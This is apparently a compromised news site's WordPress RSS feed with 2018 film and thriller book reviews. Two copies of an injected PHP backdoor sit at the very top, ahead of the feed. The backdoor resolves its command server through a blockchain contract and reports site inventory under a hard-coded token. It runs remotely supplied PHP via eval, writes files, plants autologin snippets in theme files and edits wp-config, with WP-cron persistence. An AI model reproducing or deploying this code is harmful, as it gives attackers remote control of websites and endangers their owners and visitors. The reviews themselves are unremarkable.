// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Gripping – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 13 Sep 2018 13:39:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Gripping – Brief News https://briefnews.eu 32 32 A gripping drama on immigration starring the lead of Pixar’s ‘Coco’ could be the sleeper Oscar contender of the fall https://briefnews.eu/a-gripping-drama-on-immigration-starring-the-lead-of-pixars-coco-could-be-the-sleeper-oscar-contender-of-the-fall/ https://briefnews.eu/a-gripping-drama-on-immigration-starring-the-lead-of-pixars-coco-could-be-the-sleeper-oscar-contender-of-the-fall/#respond Thu, 13 Sep 2018 13:39:50 +0000 http://briefnews.eu/a-gripping-drama-on-immigration-starring-the-lead-of-pixars-coco-could-be-the-sleeper-oscar-contender-of-the-fall/ icebox_02 Gracie FilmsGracie Films

  • “Icebox” is the feature debut for director Daniel Sawka and is based on his award-winning short film that looks at the US immigration policy from the perspective of a migrant young boy trying to get to the US.
  • The short film caught the attention of legendary director/producer James L. Brooks (“The Simpsons,” “Terms of Endearment”) who produced the feature version.
  • The lead of “Icebox” is Anthony Gonzalez, the star of the Disney hit “Coco.”

Though the Toronto International Film Festival is where the major studios and established players from the independent film world launch Oscar campaigns, the festival can still have a few surprises.

This year those include “Icebox,” one of this year’s TIFF world premieres that could find itself in the running for award season consideration with the big boys by year’s end thanks to a ripped-from-the-headlines story and the backing of one of the most powerful producers in Hollywood.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/a-gripping-drama-on-immigration-starring-the-lead-of-pixars-coco-could-be-the-sleeper-oscar-contender-of-the-fall/feed/ 0 A trio of gripping thrillers reviewed https://briefnews.eu/a-trio-of-gripping-thrillers-reviewed/ https://briefnews.eu/a-trio-of-gripping-thrillers-reviewed/#respond Thu, 31 May 2018 18:17:17 +0000 http://briefnews.eu/a-trio-of-gripping-thrillers-reviewed/

Thriller books reviewedPR

From Stephen King to North Korea, this week’s best thrillers have been reviewed

The Outsider by Stephen King (Hodder & Stoughton, £20) ***** 

Not content with being the master of horror and fantasy, in recent years Stephen King has earned a place among America’s finest crime writers.

Following the success of his Mr Mercedes trilogy, he has written a police procedural novel.

But it slowly becomes clear that what seems to be a conventional mystery may have an element of the supernatural at its heart.

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The Outsider is set in the fictional Flint City of Oklahoma.

The author does a fine job of capturing the close-knit nature of the small community, although I suspect his chief reason for abandoning his usual Maine setting was that he needed to set the story in a state with the death penalty.

The people of Flint City are horrified when an 11-year-old boy is murdered in the most inhuman manner imaginable.

Witnesses and forensic evidence place baseball coach and local hero Terry Maitland at the scene and he endures a humiliating public arrest during one of the biggest games of the season.

Stephen King the OutsiderPR

Stephen King proves himself as a crime writer with The Outsider

But it turns out he has a rock-solid alibi: he was at a book- signing event with crime writer Harlan Coben.

But Stephen King ventures into territory a lot darker than Coben ever would and has a cavalier attitude towards the wellbeing of his main characters, however lovable they may be.

Stephen King has written a book you can’t put down.

That’s nothing new – but after all these years it’s not an achievement we should take for granted.

So shout it from the rooftops: this new take on the old conundrum of how a man can be in two places at once is sensationally good.

Stephen KingGETTY

Stephen King manages to go to places even Harlan Coben won’t

Star Of The North by DB John (Harvill Secker, £12.99) **** 

With Kim Jong-un and North Korea featuring heavily in the news these days, I often wonder how on earth this little fellow holds an entire country so firmly in his thrall. Answers are provided in this thriller by the British writer DB John, one of the tiny number of westerners to have visited North Korea.

The story is set in 2010 when Kim Jong-un’s father, Kim Jong-il, was still alive and all-powerful.

Our heroine is Jenna Williams, half African-American and half Korean, an academic who has lived in the US all her life and has spent many years mourning her twin sister who disappeared on a visit to South Korea.

Then Jenna is contacted by a CIA agent who has evidence that her sister was abducted from a beach and spirited away on a North Korean submarine. And as DB John notes in an afterword, such random state-sponsored kidnappings are known to have occurred in real life.

Now the CIA wants to recruit Jenna for a daring mission to put a spoke in North Korea’s plans for world domination. Jenna is a slightly uninspiring identikit thriller heroine but the author tells his exciting story well and is a fine writer of action scenes.

But what really makes the book unmissable is its portrayal of everyday life for ordinary people in North Korea.

The book offers fascinating insights into how “Dear Leader” maintains his authority in a country that makes the Oceania of Orwell’s 1984 look like a walk in the park.

At the end of the book, DB John reveals which part of his story is truth and which is invention: and there are no prizes for guessing which is stranger.

DB John's Star of the NorthPR

DB John’s Star of the North tells a gripping story of a daring adventure

Our Kind Of Cruelty by Araminta Hall (Century, £12.99) **** 

In this psychological thriller the reader is trapped inside the mind of a mentally disturbed narrator.

It should be the literary equivalent of spending a four-hour journey stuck next to a nutter on the bus, but in Araminta Hall’s skilled hands, her narrator, Mike Hayes, becomes quite addictive company.

The book starts with banker Mike in prison, accused of murder, then rewinds to explain why. Mike has returned from a stint working in America to find that his girlfriend, Verity, has not forgiven him for his brief fling with another woman and is now engaged to another man.

Our kind of CrueltyPR

Our kind of Cruelty bridges the gap between annoying and addicting

But Mike is convinced the engagement is an extension of the role-playing games he and Verity used to indulge in and that really she wants him to try to win her back. Mike soon turns full-scale stalker, spying on Verity and her fiancé whenever possible.

And when he’s home alone, he “has dinner” with Verity, talking to her in her absence. As the story progresses, it transpires that Mike may be an example of our old friend, the “unreliable narrator,” giving us a version of events in which he should not be shouldering the blame.

But is Mike being manipulated by someone who is exploiting his mental health problems? Araminta Hall has said she wrote the book out of anger at the way so many men mistreat women.

But what makes Our Kind Of Cruelty so memorable is not its psychological portrait of a dysfunctional male, but the slow-burning thrills and chills. Seasoned thriller readers will find themselves being taken on a familiar journey – but it’s still a highly enjoyable ride.

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]]> https://briefnews.eu/a-trio-of-gripping-thrillers-reviewed/feed/ 0 High drama in store plus a stab at a classic: A selection of gripping & grim new thrillers https://briefnews.eu/high-drama-in-store-plus-a-stab-at-a-classic-a-selection-of-gripping-grim-new-thrillers/ https://briefnews.eu/high-drama-in-store-plus-a-stab-at-a-classic-a-selection-of-gripping-grim-new-thrillers/#respond Fri, 06 Apr 2018 14:03:23 +0000 http://briefnews.eu/high-drama-in-store-plus-a-stab-at-a-classic-a-selection-of-gripping-grim-new-thrillers/

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Jo Nesbo has updated Macbeth to the 1970s

MACBETH – Jo Nesbø (Hogarth, £20)

*****

It is no easy task taking on the greatest English writer of all time and turning one of his best-loved plays into a thriller for the modern reader. Yet this is what Jo Nesbø attempts with Macbeth and the result is an immensely enjoyable and gloriously dark novel.

Set in the 1970s the book sees Macbeth command the police SWAT team in a derelict and nameless Scottish town. Corruption rules supreme despite the best efforts of incumbent police chief Duncan and Macbeth is called upon to tackle drug lords and biker gangs against a backdrop of scheming and treachery. Civil unrest only ever seems a heartbeat away.

Macbeth’s no-nonsense approach wins the respect of his men and captures the eye of his superiors. Then a drugs raid at the port leads to a bloody gun battle and secures his promotion. His future appears assured.

But of course this is Macbeth and his “vaulting ambition” means he will never be happy with anything other than the top job. So when his partner Lady, a casino owner who has won his heart, whispers, “You have to kill Duncan”, the scene is set for a paroxysm of bloodletting.

TORSTEN SILZ/AFP/Getty

Double Jo Nesbo

Nesbø is one of several writers to interpret Shakespeare classics for contemporary readers as part of the Hogarth Shakespeare series. He opted for Macbeth and it makes for an easy fit with his style of noir thrillers. But his Macbeth is no pale imitation of the original and nor does he treat the task as a novelty or a literary trick. Rather he takes the story – a morality play, a tragedy, a cautionary tale of overreaching oneself – and places it firmly in a framework that any modern reader can relate to.

The names of most central characters (Macbeth, Lady, Duff, Duncan, Banquo, Lennox) come straight from Stratford-upon-Avon. The plot also follows the same path. Without spoiling the story for those unfamiliar with the play, the murderers and their victims are true to the original. If anything Nesbø ups the body count.

Yet his Macbeth also deals with more modern tragedies: police corruption, drug addiction and pollution. It paints a stark picture of crime, unemployment and despair in the UK’s abandoned cities.

Perhaps at times he tries too hard to keep to the script. The three witches appear but as helpers to a demonic drugs lord. Nesbø alludes to the prophecy that Macbeth “shall never be vanquished” until Birnam Wood comes to Dunsinane but it feels a little forced.

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Michael Fassbender and Marion Cotillard in the 2015 film adaptation of Macbeth

Yet these are minor niggles in what is a tremendously satisfying read. Nesbø’s Macbeth stands comfortably as a thriller in its own right and would deservedly grace the bestsellers list with or without the Shakespeare connection. He has accomplished that toughest of literary feats: putting his own unmistakable mark on one of Shakespeare’s most celebrated plays.

Yes it is bleak, relentless and steeped in blood. It feels hopeless at times. But it is Macbeth and we would feel cheated by anything less.

MATT GIBSON

Karen Hamilton

Karen Hamilton used to be an air hostess

THE PERFECT GIRLFRIEND by Karen Hamilton Wildfire, £12.99

*****

MEET Juliette, a woman so obsessive in her pursuit of the man who dumped her that she makes Glenn Close’s character in Fatal Attraction seem sane, approachable and easygoing.

Juliette’s ex-boyfriend Nate is an airline pilot and such is her commitment to winning him back that she trains as an air stewardess to ensure their paths cross again. She closely monitors his work rota and routinely lets herself into his flat when she knows he is away, snooping around and sleeping over when Nate’s schedule allows it. She also uses a spy app to monitor his text messages. It quickly becomes apparent that she will stop at nothing to win him back or, as she puts it: “I’m in it for the long haul.”

